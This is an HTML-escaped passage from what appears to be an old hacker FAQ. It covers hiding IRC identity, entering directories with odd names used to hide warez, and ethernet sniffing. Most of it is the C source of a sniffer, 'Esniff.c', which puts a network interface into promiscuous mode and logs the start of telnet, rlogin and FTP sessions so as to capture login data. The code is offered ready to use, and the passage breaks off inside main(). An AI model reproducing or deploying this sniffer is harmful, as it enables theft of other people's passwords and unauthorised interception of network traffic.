&lt;br /&gt; *       [new_IRCNAME] is a new IRCNAME string to use and is optional&lt;br /&gt; *   This will disconnect you from your server and reconnect using&lt;br /&gt; *     the new information given.  You will rejoin all channels you&lt;br /&gt; *     are currently on and keep your current nickname.&lt;br /&gt; */&lt;br /&gt;&lt;br /&gt;static void    newuser(command, args)&lt;br /&gt;char    *command,&lt;br /&gt;	*args;&lt;br /&gt;{&lt;br /&gt;	char    *newuname;&lt;br /&gt;&lt;br /&gt;	if (newuname = next_arg(args, &amp;args))&lt;br /&gt;	{&lt;br /&gt;		strmcpy(username, newuname, NAME_LEN);&lt;br /&gt;		if (*args)&lt;br /&gt;			strmcpy(realname, args, REALNAME_LEN);&lt;br /&gt;		say("Reconnecting to server...");&lt;br /&gt;		close_server(from_server);&lt;br /&gt;		if (connect_to_server(server_list[from_server].name,&lt;br /&gt;		      server_list[from_server].port, primary_server) != -1)&lt;br /&gt;		{&lt;br /&gt;			change_server_channels(primary_server, from_server);&lt;br /&gt;			set_window_server(-1, from_server, 1);&lt;br /&gt;		}&lt;br /&gt;		else&lt;br /&gt;			say("Unable to reconnect. Use /SERVER to connect.");&lt;br /&gt;	}&lt;br /&gt;	else&lt;br /&gt;		say("You must specify a username and, optionally, an IRCNAME");&lt;br /&gt;}&lt;br /&gt;&lt;br /&gt; -- END QUOTED TEXT --&lt;br /&gt;&lt;br /&gt;/NEWUSER will not hide you from a CTCP query.  To do that, modify ctcp.c&lt;br /&gt;as shown in the following diff and set an environment variable named&lt;br /&gt;CTCPFINGER with the information you would like to display when queried.&lt;br /&gt;&lt;br /&gt;*** ctcp.old&lt;br /&gt;--- ctcp.c&lt;br /&gt;***************&lt;br /&gt;*** 334 ****&lt;br /&gt;!       char    c;&lt;br /&gt;--- 334 ---&lt;br /&gt;!       char    c, *fing;&lt;br /&gt;***************&lt;br /&gt;*** 350,354 ****&lt;br /&gt;!               if (pwd = getpwuid(uid))&lt;br /&gt;		{&lt;br /&gt;			char    *tmp;&lt;br /&gt;--- 350,356 ----&lt;br /&gt;!               if (fing = getenv("CTCPFINGER"))&lt;br /&gt;!                       send_ctcp_reply(from, ctcp-&gt;name, fing, diff, c);&lt;br /&gt;!               else if (pwd = getpwuid(uid))&lt;br /&gt;		{&lt;br /&gt;			char    *tmp;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;18. How to I change to directories with strange characters in them?&lt;br /&gt;&lt;br /&gt;These directories are often used by people trying to hide information,&lt;br /&gt;most often warez (commercial software).&lt;br /&gt;&lt;br /&gt;There are several things you can do to determine what these strange&lt;br /&gt;characters are.  One is to use the arguments to the ls command that&lt;br /&gt;cause ls to give you more information:&lt;br /&gt;&lt;br /&gt;From the man page for ls:&lt;br /&gt;&lt;br /&gt;    -F   Causes directories to be marked with a trailing ``/'',&lt;br /&gt;	 executable files to be marked with a trailing ``*'', and&lt;br /&gt;	 symbolic links to be marked with a trailing ``@'' symbol.&lt;br /&gt;&lt;br /&gt;    -q   Forces printing of non-graphic characters in filenames as the&lt;br /&gt;	 character ``?''.&lt;br /&gt;&lt;br /&gt;    -b   Forces printing of non-graphic characters in the \ddd&lt;br /&gt;	 notation, in octal.&lt;br /&gt;&lt;br /&gt;Perhaps the most useful tool is to simply do an "ls -al filename" to&lt;br /&gt;save the directory of the remote ftp site as a file on your local&lt;br /&gt;machine.  Then you can do a "cat -t -v -e filename" to see exactly&lt;br /&gt;what those bizarre little characters are.&lt;br /&gt;&lt;br /&gt;From the man page for cat:&lt;br /&gt;&lt;br /&gt;    -v  Causes non-printing characters (with the exception of tabs,&lt;br /&gt;	newlines, and form feeds) to be displayed.  Control characters&lt;br /&gt;	are displayed as ^X (&lt;Ctrl&gt;x), where X is the key pressed with&lt;br /&gt;	the &lt;Ctrl&gt; key (for example, &lt;Ctrl&gt;m is displayed as ^M).  The&lt;br /&gt;	&lt;Del&gt; character (octal 0177) is printed as ^?.  Non-ASCII&lt;br /&gt;	characters (with the high bit set) are printed as M -x, where&lt;br /&gt;	x is the character specified by the seven low order bits.&lt;br /&gt;&lt;br /&gt;    -t  Causes tabs to be printed as ^I and form feeds as ^L.  This&lt;br /&gt;	option is ignored if the -v option is not specified.&lt;br /&gt;&lt;br /&gt;    -e  Causes a ``$'' character to be printed at the end of each line&lt;br /&gt;	(prior to the new-line).  This option is ignored if the -v&lt;br /&gt;	option is not set.&lt;br /&gt;&lt;br /&gt;If the directory name includes a &lt;SPACE&gt; or a &lt;TAB&gt; you will need to&lt;br /&gt;enclose the entire directory name in quotes.  Example:&lt;br /&gt;&lt;br /&gt;cd "..&lt;TAB&gt;"&lt;br /&gt;&lt;br /&gt;On an IBM-PC, you may enter these special characters by holding down&lt;br /&gt;the &lt;ALT&gt; key and entering the decimal value of the special character&lt;br /&gt;on your numeric keypad.  When you release the &lt;ALT&gt; key, the special&lt;br /&gt;character should appear on your screen.  An ASCII chart can be very&lt;br /&gt;helpful.&lt;br /&gt;&lt;br /&gt;Sometimes people will create directories with some of the standard&lt;br /&gt;stty control characters in them, such as ^Z (suspend) or ^C (intr).&lt;br /&gt;To get into those directories, you will first need to user stty to&lt;br /&gt;change the control character in question to another character.&lt;br /&gt;&lt;br /&gt;From the man page for stty:&lt;br /&gt;&lt;br /&gt;    Control assignments&lt;br /&gt;&lt;br /&gt;    control-character C&lt;br /&gt;                      Sets control-character to C, where control-character is&lt;br /&gt;                      erase, kill, intr (interrupt), quit, eof, eol, swtch&lt;br /&gt;                      (switch), start, stop or susp.&lt;br /&gt;&lt;br /&gt;                      start and stop are available as possible control char-&lt;br /&gt;                      acters for the control-character C assignment.&lt;br /&gt;&lt;br /&gt;                      If C is preceded by a caret (^) (escaped from the&lt;br /&gt;                      shell), then the value used is the corresponding con-&lt;br /&gt;                      trol character (for example, ^D is a &lt;Ctrl&gt;d; ^? is&lt;br /&gt;                      interpreted as DELETE and ^- is interpreted as unde-&lt;br /&gt;                      fined).&lt;br /&gt;&lt;br /&gt;Use the stty -a command to see your current stty settings, and to&lt;br /&gt;determine which one is causing you problems.&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;19. What is ethernet sniffing?&lt;br /&gt;&lt;br /&gt;Ethernet sniffing is listening (with software) to the raw ethernet&lt;br /&gt;device for packets that interest you.  When your software sees a&lt;br /&gt;packet that fits certain criteria, it logs it to a file.  The most&lt;br /&gt;common criteria for an interesting packet is one that contains words&lt;br /&gt;like "login" or "password."&lt;br /&gt;&lt;br /&gt;Many ethernet sniffers are available, here are a few that may be on&lt;br /&gt;your system now:&lt;br /&gt;&lt;br /&gt;OS              Sniffer&lt;br /&gt;~~              ~~~~~~~&lt;br /&gt;4.3/4.4 BSD     tcpdump            /* Available via anonymous ftp           */&lt;br /&gt;FreeBSD         tcpdump            /* Available via anonymous ftp at        */&lt;br /&gt;                                   /* gatekeeper.dec.com&lt;br /&gt;                    /* /.0/BSD/FreeBSD/FreeBSD-current/src/contrib/tcpdump/ */&lt;br /&gt;NetBSD          tcpdump            /* Available via anonymous ftp at        */&lt;br /&gt;                                   /* gatekeeper.dec.com&lt;br /&gt;                             /* /.0/BSD/NetBSD/NetBSD-current/src/usr.sbin/ */&lt;br /&gt;DEC Unix        tcpdump            /* Available via anonymous ftp           */&lt;br /&gt;DEC Ultrix      tcpdump            /* Available via anonymous ftp           */&lt;br /&gt;HP/UX           nettl  (monitor)&lt;br /&gt;              &amp; netfmt (display)&lt;br /&gt;                nfswatch           /* Available via anonymous ftp           */&lt;br /&gt;Linux           tcpdump            /* Available via anonymous ftp at        */&lt;br /&gt;                                   /* sunsite.unc.edu                       */&lt;br /&gt;                                   /* /pub/Linux/system/Network/management/ */&lt;br /&gt;SGI Irix        nfswatch           /* Available via anonymous ftp           */&lt;br /&gt;                Etherman&lt;br /&gt;                tcpdump            /* Available via anonymous ftp           */&lt;br /&gt;Solaris         snoop&lt;br /&gt;                tcpdump&lt;br /&gt;SunOS           etherfind&lt;br /&gt;                nfswatch           /* Available via anonymous ftp           */&lt;br /&gt;                tcpdump            /* Available via anonymous ftp           */&lt;br /&gt;DOS             ETHLOAD            /* Available via anonymous ftp as        */&lt;br /&gt;                                   /* ethld104.zip                          */&lt;br /&gt;                The Gobbler        /* Available via anonymous ftp           */&lt;br /&gt;                LanPatrol&lt;br /&gt;                LanWatch&lt;br /&gt;		Netmon&lt;br /&gt;                Netwatch&lt;br /&gt;                Netzhack           /* Available via anonymous ftp at        */&lt;br /&gt;                                   /* mistress.informatik.unibw-muenchen.de */&lt;br /&gt;                                   /* /pub/netzhack.mac                     */&lt;br /&gt;Macintosh       Etherpeek&lt;br /&gt;&lt;br /&gt;Here is source code for a sample ethernet sniffer:&lt;br /&gt;&lt;br /&gt;/* Esniff.c */&lt;br /&gt;&lt;br /&gt;#include &lt;stdio.h&gt;&lt;br /&gt;#include &lt;ctype.h&gt;&lt;br /&gt;#include &lt;string.h&gt;&lt;br /&gt;&lt;br /&gt;#include &lt;sys/time.h&gt;&lt;br /&gt;#include &lt;sys/file.h&gt;&lt;br /&gt;#include &lt;sys/stropts.h&gt;&lt;br /&gt;#include &lt;sys/signal.h&gt;&lt;br /&gt;#include &lt;sys/types.h&gt;&lt;br /&gt;#include &lt;sys/socket.h&gt;&lt;br /&gt;#include &lt;sys/ioctl.h&gt;&lt;br /&gt;&lt;br /&gt;#include &lt;net/if.h&gt;&lt;br /&gt;#include &lt;net/nit_if.h&gt;&lt;br /&gt;#include &lt;net/nit_buf.h&gt;&lt;br /&gt;#include &lt;net/if_arp.h&gt;&lt;br /&gt;&lt;br /&gt;#include &lt;netinet/in.h&gt;&lt;br /&gt;#include &lt;netinet/if_ether.h&gt;&lt;br /&gt;#include &lt;netinet/in_systm.h&gt;&lt;br /&gt;#include &lt;netinet/ip.h&gt;&lt;br /&gt;#include &lt;netinet/udp.h&gt;&lt;br /&gt;#include &lt;netinet/ip_var.h&gt;&lt;br /&gt;#include &lt;netinet/udp_var.h&gt;&lt;br /&gt;#include &lt;netinet/in_systm.h&gt;&lt;br /&gt;#include &lt;netinet/tcp.h&gt;&lt;br /&gt;#include &lt;netinet/ip_icmp.h&gt;&lt;br /&gt;&lt;br /&gt;#include &lt;netdb.h&gt;&lt;br /&gt;#include &lt;arpa/inet.h&gt;&lt;br /&gt;&lt;br /&gt;#define ERR stderr&lt;br /&gt;&lt;br /&gt;char    *malloc();&lt;br /&gt;char    *device,&lt;br /&gt;        *ProgName,&lt;br /&gt;        *LogName;&lt;br /&gt;FILE    *LOG;&lt;br /&gt;int     debug=0;&lt;br /&gt;&lt;br /&gt;#define NIT_DEV     "/dev/nit"&lt;br /&gt;#define CHUNKSIZE   4096        /* device buffer size */&lt;br /&gt;int     if_fd = -1;&lt;br /&gt;int     Packet[CHUNKSIZE+32];&lt;br /&gt;&lt;br /&gt;void Pexit(err,msg)&lt;br /&gt;int err; char *msg;&lt;br /&gt;{ perror(msg);&lt;br /&gt;  exit(err); }&lt;br /&gt;&lt;br /&gt;void Zexit(err,msg)&lt;br /&gt;int err; char *msg;&lt;br /&gt;{ fprintf(ERR,msg);&lt;br /&gt;  exit(err); }&lt;br /&gt;&lt;br /&gt;#define IP          ((struct ip *)Packet)&lt;br /&gt;#define IP_OFFSET   (0x1FFF)&lt;br /&gt;#define SZETH       (sizeof(struct ether_header))&lt;br /&gt;#define IPLEN       (ntohs(ip-&gt;ip_len))&lt;br /&gt;#define IPHLEN      (ip-&gt;ip_hl)&lt;br /&gt;#define TCPOFF      (tcph-&gt;th_off)&lt;br /&gt;#define IPS         (ip-&gt;ip_src)&lt;br /&gt;#define IPD         (ip-&gt;ip_dst)&lt;br /&gt;#define TCPS        (tcph-&gt;th_sport)&lt;br /&gt;#define TCPD        (tcph-&gt;th_dport)&lt;br /&gt;#define IPeq(s,t)   ((s).s_addr == (t).s_addr)&lt;br /&gt;&lt;br /&gt;#define TCPFL(FLAGS) (tcph-&gt;th_flags &amp; (FLAGS))&lt;br /&gt;&lt;br /&gt;#define MAXBUFLEN  (128)&lt;br /&gt;time_t  LastTIME = 0;&lt;br /&gt;&lt;br /&gt;struct CREC {&lt;br /&gt;     struct CREC *Next,&lt;br /&gt;                 *Last;&lt;br /&gt;     time_t  Time;              /* start time */&lt;br /&gt;     struct in_addr SRCip,&lt;br /&gt;                    DSTip;&lt;br /&gt;     u_int   SRCport,           /* src/dst ports */&lt;br /&gt;             DSTport;&lt;br /&gt;     u_char  Data[MAXBUFLEN+2]; /* important stuff :-) */&lt;br /&gt;     u_int   Length;            /* current data length */&lt;br /&gt;     u_int   PKcnt;             /* # pkts */&lt;br /&gt;     u_long  LASTseq;&lt;br /&gt;};&lt;br /&gt;&lt;br /&gt;struct CREC *CLroot = NULL;&lt;br /&gt;&lt;br /&gt;char *Symaddr(ip)&lt;br /&gt;register struct in_addr ip;&lt;br /&gt;{ register struct hostent *he =&lt;br /&gt;      gethostbyaddr((char *)&amp;ip.s_addr, sizeof(struct in_addr),AF_INET);&lt;br /&gt;&lt;br /&gt;  return( (he)?(he-&gt;h_name):(inet_ntoa(ip)) );&lt;br /&gt;}&lt;br /&gt;&lt;br /&gt;char *TCPflags(flgs)&lt;br /&gt;register u_char flgs;&lt;br /&gt;{ static char iobuf[8];&lt;br /&gt;#define SFL(P,THF,C) iobuf[P]=((flgs &amp; THF)?C:'-')&lt;br /&gt;&lt;br /&gt;  SFL(0,TH_FIN, 'F');&lt;br /&gt;  SFL(1,TH_SYN, 'S');&lt;br /&gt;  SFL(2,TH_RST, 'R');&lt;br /&gt;  SFL(3,TH_PUSH,'P');&lt;br /&gt;  SFL(4,TH_ACK, 'A');&lt;br /&gt;  SFL(5,TH_URG, 'U');&lt;br /&gt;  iobuf[6]=0;&lt;br /&gt;  return(iobuf);&lt;br /&gt;}&lt;br /&gt;&lt;br /&gt;char *SERVp(port)&lt;br /&gt;register u_int port;&lt;br /&gt;{ static char buf[10];&lt;br /&gt;  register char *p;&lt;br /&gt;&lt;br /&gt;   switch(port) {&lt;br /&gt;     case IPPORT_LOGINSERVER: p="rlogin"; break;&lt;br /&gt;     case IPPORT_TELNET:      p="telnet"; break;&lt;br /&gt;     case IPPORT_SMTP:        p="smtp"; break;&lt;br /&gt;     case IPPORT_FTP:         p="ftp"; break;&lt;br /&gt;     default: sprintf(buf,"%u",port); p=buf; break;&lt;br /&gt;   }&lt;br /&gt;   return(p);&lt;br /&gt;}&lt;br /&gt;&lt;br /&gt;char *Ptm(t)&lt;br /&gt;register time_t *t;&lt;br /&gt;{ register char *p = ctime(t);&lt;br /&gt;  p[strlen(p)-6]=0; /* strip " YYYY\n" */&lt;br /&gt;  return(p);&lt;br /&gt;}&lt;br /&gt;&lt;br /&gt;char *NOWtm()&lt;br /&gt;{ time_t tm;&lt;br /&gt;  time(&amp;tm);&lt;br /&gt;  return( Ptm(&amp;tm) );&lt;br /&gt;}&lt;br /&gt;&lt;br /&gt;#define MAX(a,b) (((a)&gt;(b))?(a):(b))&lt;br /&gt;#define MIN(a,b) (((a)&lt;(b))?(a):(b))&lt;br /&gt;&lt;br /&gt;/* add an item */&lt;br /&gt;#define ADD_NODE(SIP,DIP,SPORT,DPORT,DATA,LEN) { \&lt;br /&gt;  register struct CREC *CLtmp = \&lt;br /&gt;        (struct CREC *)malloc(sizeof(struct CREC)); \&lt;br /&gt;  time( &amp;(CLtmp-&gt;Time) ); \&lt;br /&gt;  CLtmp-&gt;SRCip.s_addr = SIP.s_addr; \&lt;br /&gt;  CLtmp-&gt;DSTip.s_addr = DIP.s_addr; \&lt;br /&gt;  CLtmp-&gt;SRCport = SPORT; \&lt;br /&gt;  CLtmp-&gt;DSTport = DPORT; \&lt;br /&gt;  CLtmp-&gt;Length = MIN(LEN,MAXBUFLEN); \&lt;br /&gt;  bcopy( (u_char *)DATA, (u_char *)CLtmp-&gt;Data, CLtmp-&gt;Length); \&lt;br /&gt;  CLtmp-&gt;PKcnt = 1; \&lt;br /&gt;  CLtmp-&gt;Next = CLroot; \&lt;br /&gt;  CLtmp-&gt;Last = NULL; \&lt;br /&gt;  CLroot = CLtmp; \&lt;br /&gt;}&lt;br /&gt;&lt;br /&gt;register struct CREC *GET_NODE(Sip,SP,Dip,DP)&lt;br /&gt;register struct in_addr Sip,Dip;&lt;br /&gt;register u_int SP,DP;&lt;br /&gt;{ register struct CREC *CLr = CLroot;&lt;br /&gt;&lt;br /&gt;  while(CLr != NULL) {&lt;br /&gt;    if( (CLr-&gt;SRCport == SP) &amp;&amp; (CLr-&gt;DSTport == DP) &amp;&amp;&lt;br /&gt;        IPeq(CLr-&gt;SRCip,Sip) &amp;&amp; IPeq(CLr-&gt;DSTip,Dip) )&lt;br /&gt;            break;&lt;br /&gt;    CLr = CLr-&gt;Next;&lt;br /&gt;  }&lt;br /&gt;  return(CLr);&lt;br /&gt;}&lt;br /&gt;&lt;br /&gt;#define ADDDATA_NODE(CL,DATA,LEN) { \&lt;br /&gt; bcopy((u_char *)DATA, (u_char *)&amp;CL-&gt;Data[CL-&gt;Length],LEN); \&lt;br /&gt; CL-&gt;Length += LEN; \&lt;br /&gt;}&lt;br /&gt;&lt;br /&gt;#define PR_DATA(dp,ln) {    \&lt;br /&gt;  register u_char lastc=0; \&lt;br /&gt;  while(ln-- &gt;0) { \&lt;br /&gt;     if(*dp &lt; 32) {  \&lt;br /&gt;        switch(*dp) { \&lt;br /&gt;            case '\0': if((lastc=='\r') || (lastc=='\n') || lastc=='\0') \&lt;br /&gt;                        break; \&lt;br /&gt;            case '\r': \&lt;br /&gt;            case '\n': fprintf(LOG,"\n     : "); \&lt;br /&gt;                        break; \&lt;br /&gt;            default  : fprintf(LOG,"^%c", (*dp + 64)); \&lt;br /&gt;                        break; \&lt;br /&gt;        } \&lt;br /&gt;     } else { \&lt;br /&gt;        if(isprint(*dp)) fputc(*dp,LOG); \&lt;br /&gt;        else fprintf(LOG,"(%d)",*dp); \&lt;br /&gt;     } \&lt;br /&gt;     lastc = *dp++; \&lt;br /&gt;  } \&lt;br /&gt;  fflush(LOG); \&lt;br /&gt;}&lt;br /&gt;&lt;br /&gt;void END_NODE(CLe,d,dl,msg)&lt;br /&gt;register struct CREC *CLe;&lt;br /&gt;register u_char *d;&lt;br /&gt;register int dl;&lt;br /&gt;register char *msg;&lt;br /&gt;{&lt;br /&gt;   fprintf(LOG,"\n-- TCP/IP LOG -- TM: %s --\n", Ptm(&amp;CLe-&gt;Time));&lt;br /&gt;   fprintf(LOG," PATH: %s(%s) =&gt;", Symaddr(CLe-&gt;SRCip),SERVp(CLe-&gt;SRCport));&lt;br /&gt;   fprintf(LOG," %s(%s)\n", Symaddr(CLe-&gt;DSTip),SERVp(CLe-&gt;DSTport));&lt;br /&gt;   fprintf(LOG," STAT: %s, %d pkts, %d bytes [%s]\n",&lt;br /&gt;                        NOWtm(),CLe-&gt;PKcnt,(CLe-&gt;Length+dl),msg);&lt;br /&gt;   fprintf(LOG," DATA: ");&lt;br /&gt;    { register u_int i = CLe-&gt;Length;&lt;br /&gt;      register u_char *p = CLe-&gt;Data;&lt;br /&gt;      PR_DATA(p,i);&lt;br /&gt;      PR_DATA(d,dl);&lt;br /&gt;    }&lt;br /&gt;&lt;br /&gt;   fprintf(LOG,"\n-- \n");&lt;br /&gt;   fflush(LOG);&lt;br /&gt;&lt;br /&gt;   if(CLe-&gt;Next != NULL)&lt;br /&gt;    CLe-&gt;Next-&gt;Last = CLe-&gt;Last;&lt;br /&gt;   if(CLe-&gt;Last != NULL)&lt;br /&gt;    CLe-&gt;Last-&gt;Next = CLe-&gt;Next;&lt;br /&gt;   else&lt;br /&gt;    CLroot = CLe-&gt;Next;&lt;br /&gt;   free(CLe);&lt;br /&gt;}&lt;br /&gt;&lt;br /&gt;/* 30 mins (x 60 seconds) */&lt;br /&gt;#define IDLE_TIMEOUT 1800&lt;br /&gt;#define IDLE_NODE() { \&lt;br /&gt;  time_t tm; \&lt;br /&gt;  time(&amp;tm); \&lt;br /&gt;  if(LastTIME&lt;tm) { \&lt;br /&gt;     register struct CREC *CLe,*CLt = CLroot; \&lt;br /&gt;     LastTIME=(tm+IDLE_TIMEOUT); tm-=IDLE_TIMEOUT; \&lt;br /&gt;     while(CLe=CLt) { \&lt;br /&gt;       CLt=CLe-&gt;Next; \&lt;br /&gt;       if(CLe-&gt;Time &lt;tm) \&lt;br /&gt;           END_NODE(CLe,(u_char *)NULL,0,"IDLE TIMEOUT"); \&lt;br /&gt;     } \&lt;br /&gt;  } \&lt;br /&gt;}&lt;br /&gt;&lt;br /&gt;void filter(cp, pktlen)&lt;br /&gt;register char *cp;&lt;br /&gt;register u_int pktlen;&lt;br /&gt;{&lt;br /&gt; register struct ip     *ip;&lt;br /&gt; register struct tcphdr *tcph;&lt;br /&gt;&lt;br /&gt; { register u_short EtherType=ntohs(((struct ether_header *)cp)-&gt;ether_type);&lt;br /&gt;&lt;br /&gt;   if(EtherType &lt; 0x600) {&lt;br /&gt;     EtherType = *(u_short *)(cp + SZETH + 6);&lt;br /&gt;     cp+=8; pktlen-=8;&lt;br /&gt;   }&lt;br /&gt;&lt;br /&gt;   if(EtherType != ETHERTYPE_IP) /* chuk it if its not IP */&lt;br /&gt;      return;&lt;br /&gt; }&lt;br /&gt;&lt;br /&gt;    /* ugh, gotta do an alignment :-( */&lt;br /&gt; bcopy(cp + SZETH, (char *)Packet,(int)(pktlen - SZETH));&lt;br /&gt;&lt;br /&gt; ip = (struct ip *)Packet;&lt;br /&gt; if( ip-&gt;ip_p != IPPROTO_TCP) /* chuk non tcp pkts */&lt;br /&gt;    return;&lt;br /&gt; tcph = (struct tcphdr *)(Packet + IPHLEN);&lt;br /&gt;&lt;br /&gt; if(!( (TCPD == IPPORT_TELNET) ||&lt;br /&gt;       (TCPD == IPPORT_LOGINSERVER) ||&lt;br /&gt;       (TCPD == IPPORT_FTP)&lt;br /&gt;   )) return;&lt;br /&gt;&lt;br /&gt; { register struct CREC *CLm;&lt;br /&gt;   register int length = ((IPLEN - (IPHLEN * 4)) - (TCPOFF * 4));&lt;br /&gt;   register u_char *p = (u_char *)Packet;&lt;br /&gt;&lt;br /&gt;   p += ((IPHLEN * 4) + (TCPOFF * 4));&lt;br /&gt;&lt;br /&gt; if(debug) {&lt;br /&gt;  fprintf(LOG,"PKT: (%s %04X) ", TCPflags(tcph-&gt;th_flags),length);&lt;br /&gt;  fprintf(LOG,"%s[%s] =&gt; ", inet_ntoa(IPS),SERVp(TCPS));&lt;br /&gt;  fprintf(LOG,"%s[%s]\n", inet_ntoa(IPD),SERVp(TCPD));&lt;br /&gt; }&lt;br /&gt;&lt;br /&gt;   if( CLm = GET_NODE(IPS, TCPS, IPD, TCPD) ) {&lt;br /&gt;&lt;br /&gt;      CLm-&gt;PKcnt++;&lt;br /&gt;&lt;br /&gt;      if(length&gt;0)&lt;br /&gt;        if( (CLm-&gt;Length + length) &lt; MAXBUFLEN ) {&lt;br /&gt;          ADDDATA_NODE( CLm, p,length);&lt;br /&gt;        } else {&lt;br /&gt;          END_NODE( CLm, p,length, "DATA LIMIT");&lt;br /&gt;        }&lt;br /&gt;&lt;br /&gt;      if(TCPFL(TH_FIN|TH_RST)) {&lt;br /&gt;          END_NODE( CLm, (u_char *)NULL,0,TCPFL(TH_FIN)?"TH_FIN":"TH_RST" );&lt;br /&gt;      }&lt;br /&gt;&lt;br /&gt;   } else {&lt;br /&gt;&lt;br /&gt;      if(TCPFL(TH_SYN)) {&lt;br /&gt;         ADD_NODE(IPS,IPD,TCPS,TCPD,p,length);&lt;br /&gt;      }&lt;br /&gt;&lt;br /&gt;   }&lt;br /&gt;&lt;br /&gt;   IDLE_NODE();&lt;br /&gt;&lt;br /&gt; }&lt;br /&gt;&lt;br /&gt;}&lt;br /&gt;&lt;br /&gt;/* signal handler&lt;br /&gt; */&lt;br /&gt;void death()&lt;br /&gt;{ register struct CREC *CLe;&lt;br /&gt;&lt;br /&gt;    while(CLe=CLroot)&lt;br /&gt;        END_NODE( CLe, (u_char *)NULL,0, "SIGNAL");&lt;br /&gt;&lt;br /&gt;    fprintf(LOG,"\nLog ended at =&gt; %s\n",NOWtm());&lt;br /&gt;    fflush(LOG);&lt;br /&gt;    if(LOG != stdout)&lt;br /&gt;        fclose(LOG);&lt;br /&gt;    exit(1);&lt;br /&gt;}&lt;br /&gt;&lt;br /&gt;/* opens network interface, performs ioctls and reads from it,&lt;br /&gt; * passing data to filter function&lt;br /&gt; */&lt;br /&gt;void do_it()&lt;br /&gt;{&lt;br /&gt;    int cc;&lt;br /&gt;    char *buf;&lt;br /&gt;    u_short sp_ts_len;&lt;br /&gt;&lt;br /&gt;    if(!(buf=malloc(CHUNKSIZE)))&lt;br /&gt;        Pexit(1,"Eth: malloc");&lt;br /&gt;&lt;br /&gt;/* this /dev/nit initialization code pinched from etherfind */&lt;br /&gt;  {&lt;br /&gt;    struct strioctl si;&lt;br /&gt;    struct ifreq    ifr;&lt;br /&gt;    struct timeval  timeout;&lt;br /&gt;    u_int  chunksize = CHUNKSIZE;&lt;br /&gt;    u_long if_flags  = NI_PROMISC;&lt;br /&gt;&lt;br /&gt;    if((if_fd = open(NIT_DEV, O_RDONLY)) &lt; 0)&lt;br /&gt;        Pexit(1,"Eth: nit open");&lt;br /&gt;&lt;br /&gt;    if(ioctl(if_fd, I_SRDOPT, (char *)RMSGD) &lt; 0)&lt;br /&gt;        Pexit(1,"Eth: ioctl (I_SRDOPT)");&lt;br /&gt;&lt;br /&gt;    si.ic_timout = INFTIM;&lt;br /&gt;&lt;br /&gt;    if(ioctl(if_fd, I_PUSH, "nbuf") &lt; 0)&lt;br /&gt;        Pexit(1,"Eth: ioctl (I_PUSH \"nbuf\")");&lt;br /&gt;&lt;br /&gt;    timeout.tv_sec = 1;&lt;br /&gt;    timeout.tv_usec = 0;&lt;br /&gt;    si.ic_cmd = NIOCSTIME;&lt;br /&gt;    si.ic_len = sizeof(timeout);&lt;br /&gt;    si.ic_dp  = (char *)&amp;timeout;&lt;br /&gt;    if(ioctl(if_fd, I_STR, (char *)&amp;si) &lt; 0)&lt;br /&gt;        Pexit(1,"Eth: ioctl (I_STR: NIOCSTIME)");&lt;br /&gt;&lt;br /&gt;    si.ic_cmd = NIOCSCHUNK;&lt;br /&gt;    si.ic_len = sizeof(chunksize);&lt;br /&gt;    si.ic_dp  = (char *)&amp;chunksize;&lt;br /&gt;    if(ioctl(if_fd, I_STR, (char *)&amp;si) &lt; 0)&lt;br /&gt;        Pexit(1,"Eth: ioctl (I_STR: NIOCSCHUNK)");&lt;br /&gt;&lt;br /&gt;    strncpy(ifr.ifr_name, device, sizeof(ifr.ifr_name));&lt;br /&gt;    ifr.ifr_name[sizeof(ifr.ifr_name) - 1] = '\0';&lt;br /&gt;    si.ic_cmd = NIOCBIND;&lt;br /&gt;    si.ic_len = sizeof(ifr);&lt;br /&gt;    si.ic_dp  = (char *)&amp;ifr;&lt;br /&gt;    if(ioctl(if_fd, I_STR, (char *)&amp;si) &lt; 0)&lt;br /&gt;        Pexit(1,"Eth: ioctl (I_STR: NIOCBIND)");&lt;br /&gt;&lt;br /&gt;    si.ic_cmd = NIOCSFLAGS;&lt;br /&gt;    si.ic_len = sizeof(if_flags);&lt;br /&gt;    si.ic_dp  = (char *)&amp;if_flags;&lt;br /&gt;    if(ioctl(if_fd, I_STR, (char *)&amp;si) &lt; 0)&lt;br /&gt;        Pexit(1,"Eth: ioctl (I_STR: NIOCSFLAGS)");&lt;br /&gt;&lt;br /&gt;    if(ioctl(if_fd, I_FLUSH, (char *)FLUSHR) &lt; 0)&lt;br /&gt;        Pexit(1,"Eth: ioctl (I_FLUSH)");&lt;br /&gt;  }&lt;br /&gt;&lt;br /&gt;    while ((cc = read(if_fd, buf, CHUNKSIZE)) &gt;= 0) {&lt;br /&gt;        register char *bp = buf,&lt;br /&gt;                      *bufstop = (buf + cc);&lt;br /&gt;&lt;br /&gt;        while (bp &lt; bufstop) {&lt;br /&gt;            register char *cp = bp;&lt;br /&gt;            register struct nit_bufhdr *hdrp;&lt;br /&gt;&lt;br /&gt;            hdrp = (struct nit_bufhdr *)cp;&lt;br /&gt;            cp += sizeof(struct nit_bufhdr);&lt;br /&gt;            bp += hdrp-&gt;nhb_totlen;&lt;br /&gt;            filter(cp, (u_long)hdrp-&gt;nhb_msglen);&lt;br /&gt;        }&lt;br /&gt;    }&lt;br /&gt;    Pexit((-1),"Eth: read");&lt;br /&gt;}&lt;br /&gt; /* Authorize your program, generate your own password and uncomment here */&lt;br /&gt;/* #define AUTHPASSWD "EloiZgZejWyms" */&lt;br /&gt;&lt;br /&gt;void getauth()&lt;br /&gt;{ char *buf,*getpass(),*crypt();&lt;br /&gt;  char pwd[21],prmpt[81];&lt;br /&gt;&lt;br /&gt;    strcpy(pwd,AUTHPASSWD);&lt;br /&gt;    sprintf(prmpt,"(%s)UP? ",ProgName);&lt;br /&gt;    buf=getpass(prmpt);&lt;br /&gt;    if(strcmp(pwd,crypt(buf,pwd)))&lt;br /&gt;        exit(1);&lt;br /&gt;}&lt;br /&gt;    */&lt;br /&gt;void main(argc, argv)&lt;br /&gt;int argc;&lt;br /&gt;char **argv;&lt;br /&gt;{&lt;br /&gt;    char   cbuf[BUFSIZ];&lt;br /&gt;    struct ifconf ifc;&lt;br /&gt;    int    s,&lt;br /&gt;           ac=1,&lt;br /&gt;           backg=0;&lt;br /&gt;&lt;br /&gt;    ProgName=argv[0];&lt;br /&gt;&lt;br /&gt; /*     getauth(); */&lt;br /&gt;&lt;br /&gt;    LOG=NULL;&lt;br /&gt;    device=NULL;&lt;br /&gt;    while((ac&lt;argc) &amp;&amp; (argv[ac][0] == '-')) {&lt;br /&gt;       register char ch = argv[ac++][1];&lt;br /&gt;       